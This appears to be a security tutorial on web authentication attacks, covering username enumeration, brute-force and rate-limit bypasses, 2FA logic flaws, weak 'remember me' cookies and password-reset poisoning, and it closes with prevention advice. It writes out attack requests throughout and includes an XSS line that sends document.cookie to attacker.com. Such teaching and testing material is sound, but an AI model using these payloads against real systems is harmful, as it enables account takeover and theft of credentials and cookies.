1. What is Authentication — and Why It Fails
Before attacking anything, understand the distinction that defines the entire category:
- Authentication — proves who you are (username + password, biometrics, token)
- Authorization — proves what you can do (permissions, roles, access control)
An authentication vulnerability breaks the first one. And when identity can no longer be trusted, authorization becomes meaningless — the attacker is already inside.
These vulnerabilities exist for a handful of consistent reasons:
- Information leakage — the app tells you whether the username or password was wrong, helping attackers narrow down valid accounts
- Weak brute-force protection — rate limits and lockouts are implemented on the obvious endpoint but forgotten on others (password change, 2FA)
- Flawed logic — the developer assumed steps would always be followed in order; an attacker skips or replays steps
- Predictable tokens — "remember me" cookies and reset tokens constructed from weak patterns (Base64 of username + MD5 of password)
- Trust misplacement — relying on client-supplied parameters (username in POST body, cookie value) to identify who an action applies to
2. Step 0: Reconnaissance — Reading the Login Page
Before sending a single attack payload, spend time observing. Every login page leaks information if you know what to look for.
What to note when you land on a login page
- What does the error message say for a wrong username vs a wrong password? Are they different?
- Does the response length or timing change between attempts?
- Is there a 2FA / OTP step after login?
- Is there a "Remember me" or "Stay logged in" checkbox?
- Is there a "Forgot password" or "Change password" flow?
- After how many attempts does the app block you? Does a correct login reset the counter?
These observations directly map to which attack class to apply. The methodology is not random — it follows the behaviour the application shows you.
3. User Enumeration — Finding Valid Usernames
Enumeration is the act of determining which usernames actually exist on the system. It is almost always the first step in a credential attack — there is no point brute-forcing passwords against a username that does not exist.
Attack 1 — Different Error Messages
The most obvious form. The app returns "Invalid username" for a non-existent account and "Incorrect password" for a valid one. An attacker simply sweeps a username wordlist and looks for the different response.
How to find it: Submit a login with a random username and a wrong password. Note the message. Submit again with a username you suspect is real. If the messages differ — the app is leaking existence information.
How to exploit it: Automate requests across a username wordlist (Burp Suite Intruder, ffuf, wfuzz). Flag responses that contain the "wrong password" message — those usernames are valid. Then move to brute-forcing the password.
Attack 2 — Subtle Response Differences
The developer tried to fix Attack 1 by using the same message for every failure. But introduced a subtle inconsistency — a trailing space, a missing period, a capitalisation difference. Invisible in the browser, but measurable in raw response bytes.
How to find it: Extract the exact error text from every response and sort by it. One entry will differ by a single character — that is the valid username. Sorting results by response length is the fastest method — a one-byte difference shifts the length column.
Attack 3 — Timing Side Channel
Some applications only run the password hash comparison if the username exists. Hashing algorithms like bcrypt are intentionally slow. This means a valid username with a long password produces a noticeably slower response than an invalid username — even when the error message is identical.
How to exploit it: Send requests with a very long password (100+ characters). Measure response time. Valid usernames take longer because the app spent time hashing. Invalid usernames return immediately because the app rejected at the username check and never hashed.
To bypass IP-based rate limiting while doing this, rotate the apparent source IP
using headers the application trusts: X-Forwarded-For,
X-Real-IP, True-Client-IP.
# Example: rotating IP header to avoid rate limit
POST /login HTTP/1.1
X-Forwarded-For: 192.168.1.{incrementing}
Content-Type: application/x-www-form-urlencoded
username=candidate_user&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
4. Brute Force & Bypassing Protections
Once a valid username is confirmed, the next step is recovering the password. Most applications implement some form of protection — but protections are frequently incomplete, inconsistent, or only applied to one endpoint.
Attack 4 — Straight Brute Force (No Protection)
If the app has no lockout and no rate limit, systematically try every password from a wordlist. The correct password is identified by a different response — typically a redirect to the authenticated area instead of an error message.
Attack 5 — IP Block Bypass via Credential Interleaving
The app blocks the IP after N consecutive failed attempts. But the counter resets on a successful login. An attacker exploits this by owning a valid account on the system and interleaving their own correct credentials between each guess at the target.
# Payload pattern — alternate between own creds and target guesses
own_user:own_pass ← resets counter
target_user:guess1
own_user:own_pass ← resets counter again
target_user:guess2
own_user:own_pass
target_user:guess3
...
Each pair costs one guess at the target but keeps the counter below the lockout threshold. The brute force runs indefinitely.
Attack 6 — Using Account Lockout for Enumeration
Lockout itself becomes an enumeration oracle. If you spray a username list with the same wrong password enough times, only the real accounts get locked. The lockout message reveals which usernames are valid.
The deeper trick: once locked, try the full password wordlist anyway. Most responses will say "account locked." But the one correct password will return a different response — some apps skip the lockout check when the credentials are actually correct.
Attack 7 — Rate Limit Bypass via JSON Array
Rate limiting is often counted per HTTP request. If the application accepts JSON and processes an array of passwords in a single request, an attacker can test hundreds of passwords while only consuming one rate-limit counter hit.
// Normal request
{ "username": "masaaki", "password": "wrongpass" }
// Attack request — entire wordlist in one HTTP request
{
"username": "masaaki",
"password": ["123456", "password", "letmein", "qwerty" ...]
}
This works on Node.js/Express backends and any framework that parses
JSON request bodies and iterates array values. Test it by changing the
Content-Type to application/json first — if
the app still responds normally, it accepts JSON and is worth testing
for this.
5. Two-Factor Authentication Flaws
2FA is widely deployed as a security upgrade — but it is only as strong as its implementation. A poorly implemented 2FA step can be bypassed, brute-forced, or tricked into verifying the wrong account entirely.
Attack 9 — Skipping the 2FA Step Entirely
Some applications create a valid authenticated session cookie at step 1 of login (after username + password), before 2FA is verified. The 2FA page is just a UI checkpoint — the session is already trusted by the server.
Test: Log in with valid credentials. When redirected to the
2FA page, do not enter any code. Manually navigate to /dashboard,
/account or wherever authenticated users land. If the page loads —
the 2FA is decorative. No code needed.
Attack 10 — 2FA Broken Logic (Verify the Wrong User)
The application generates a one-time code tied to a username stored in a cookie or request parameter — not to the session itself. An attacker logs in with their own account to get a valid session, then changes the username parameter to the victim's username before submitting the OTP verification. The server generates a new OTP for the victim's account and the attacker brute-forces the 4-digit code (10,000 combinations).
# Step 1: log in as self → session + 2FA page
GET /login-2fa
Cookie: session=abc123; verify=attacker_user
# Step 2: change verify param to victim's username
GET /login-2fa
Cookie: session=abc123; verify=victim_user
# Step 3: brute-force OTP — only 10,000 combinations for 4-digit
POST /login-2fa
Cookie: session=abc123; verify=victim_user
mfa-code=0000 → 9999
Root cause: The server trusts a client-supplied parameter to decide whose OTP to validate. Identity should be tied to the session on the server, never to a value the client can modify.
Attack 11 — Brute-Forcing the OTP
If 2FA has no lockout and no OTP expiry, an attacker simply brute-forces all possible codes. A 4-digit numeric OTP has only 10,000 combinations — trivially exhausted in seconds. A 6-digit OTP has 1,000,000 — still feasible with a high-speed tool. If the session expires after too many wrong guesses, use a macro to re-login between batches.
6. Persistent Cookie Attacks
Attack 12 — Brute-Forcing the "Stay Logged In" Cookie
"Remember me" features generate a long-lived cookie. Developers often construct this cookie from predictable components:
# Common weak pattern
cookie = base64( username + ":" + md5(password) )
# Decoded example
base64_decode("c3RlcGhhbmU6OTY5OTBmOTBhNTdjNjZjNzNlYzI0YTZiN2FiMTAxMzY=")
→ "stephane:96990f90a57c66c73ec24a6b7ab10136"
→ MD5("hunter2") = 96990f90a57c66c73ec24a6b7ab10136 ✓
Once the pattern is confirmed on your own account, recreate it for the target: hash each password candidate with MD5, prepend the target username, Base64 encode the result, and submit as the cookie. A matching response (access granted) reveals the correct password — and gives you a valid persistent session cookie.
Attack 13 — Stealing Cookies via XSS to Crack Offline
When XSS is present in the application, steal the victim's persistent cookie using
a script like document.location='//attacker.com/?c='+document.cookie.
The stolen cookie may contain a hashed password. Crack the hash offline using
tools like Hashcat or online databases like
CrackStation. This chains two vulnerabilities — XSS and a
weak cookie construction — for full account takeover including the plaintext password.
7. Password Reset Vulnerabilities
The password reset flow is a high-value target. It is built to bypass normal authentication — that is its purpose. Flaws here frequently lead to direct account takeover with no brute force required.
Attack 14 — Token Not Bound to the User
The application generates a valid reset token and emails it. The attacker requests a reset for their own account, receives a valid token, then submits the final password change form with that token — but changes the username parameter in the POST body to the victim's username.
# Normal reset — own account
POST /forgot-password?token=abc123
username=attacker&new-password-1=hacked&new-password-2=hacked
# Attack — same valid token, different username
POST /forgot-password?token=abc123
username=victim&new-password-1=hacked&new-password-2=hacked
If the server validates the token independently of the username — both existing in the same request — the victim's password is changed. The token is valid, just not bound to the right account.
Bonus test: Delete the token parameter entirely. Some apps process the reset without checking for it at all.
Attack 15 — Password Reset Poisoning via Host Header
When a user requests a password reset, the application builds the reset link
using the Host header from the request. If the app also trusts
the X-Forwarded-Host header (commonly added by reverse proxies),
an attacker can inject their own server address into that header.
The victim receives a legitimately-worded email — but the reset link points
to the attacker's server.
# Injected request — real Host stays, X-Forwarded-Host poisoned
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker-server.com
Content-Type: application/x-www-form-urlencoded
username=victim
# Email the victim receives
Click here to reset your password:
https://attacker-server.com/forgot-password?token=2yn4jx36f2t4ojjew1lr6
When the victim clicks the link, their browser sends the token to the attacker's server. The attacker copies the token and uses it on the real target domain — where the reset page actually exists — to set a new password.
X-Forwarded-Host is meant to be set by trusted infrastructure,
not by end users. Accepting it from untrusted requests is the root cause.
8. Password Change Endpoint Abuse
The login endpoint has rate limiting and lockout. The password change endpoint — which also accepts the current password — does not. The response to a wrong current password differs depending on whether the new password fields match:
- Wrong current password + matching new passwords → "Account locked" (dangerous path — avoid)
- Wrong current password + mismatched new passwords → "Current password is incorrect"
- Correct current password + mismatched new passwords → "New passwords do not match"
Cases 2 and 3 return different messages even though the new password was wrong in both. This difference leaks whether the current password was correct — turning the change-password form into an unprotected brute-force oracle.
# Attack request — always use mismatched new passwords to avoid lockout
POST /account/change-password
username=victim
¤t-password=§candidate§
&new-password-1=aaa
&new-password-2=bbb ← intentionally mismatched
# Signal: response containing "New passwords do not match"
# = current password WAS correct
Note that username is often a hidden field in the form — submitted
as a POST body parameter that can be freely changed, no session needed.
9. Prevention — How to Build It Right
Every vulnerability described above has a direct, well-understood fix. There are no exotic mitigations required — just disciplined implementation.
Generic Error Messages
Always return the same message for invalid username and invalid password. Never leak which one was wrong.
Consistent Timing
Always run the full authentication logic — including password hashing — regardless of whether the username exists.
Proper Rate Limiting
Apply rate limits on all endpoints that accept credentials — login, password change, 2FA verification. Not just the main login page.
Lockout Consistency
If you implement account lockout, make it unconditional — do not skip it when credentials happen to be correct.
2FA Tied to Session
Never issue a fully authenticated session before 2FA completes. Only upgrade the session trust level after the second factor is verified.
OTP Bound to Session
Store OTP state server-side, tied to the session ID — never to a username in a cookie or request parameter the user controls.
Cryptographically Strong Cookies
Persistent session tokens must be random and unpredictable — never constructed from username + password hash. Use a CSPRNG.
Bind Reset Tokens to Users
A password reset token must be permanently tied to one specific account at generation time. Ignore any username parameter in the reset request.
Never Trust X-Forwarded-Host
Build internal URLs using a server-side configured base URL — never from any client-supplied header.
OTP Expiry & Rate Limiting
OTP codes must expire after 60–120 seconds. Lock the 2FA after 5 failed attempts and require re-authentication.
Tools Used in This Research
- Burp Suite — HTTP interception, Intruder for automated payload delivery, Repeater for manual testing
- ffuf / wfuzz — fast HTTP fuzzing from the command line
- Hashcat — offline hash cracking (MD5, SHA1, bcrypt)
- CrackStation — online lookup for common hash values
- curl — raw HTTP request crafting for manual verification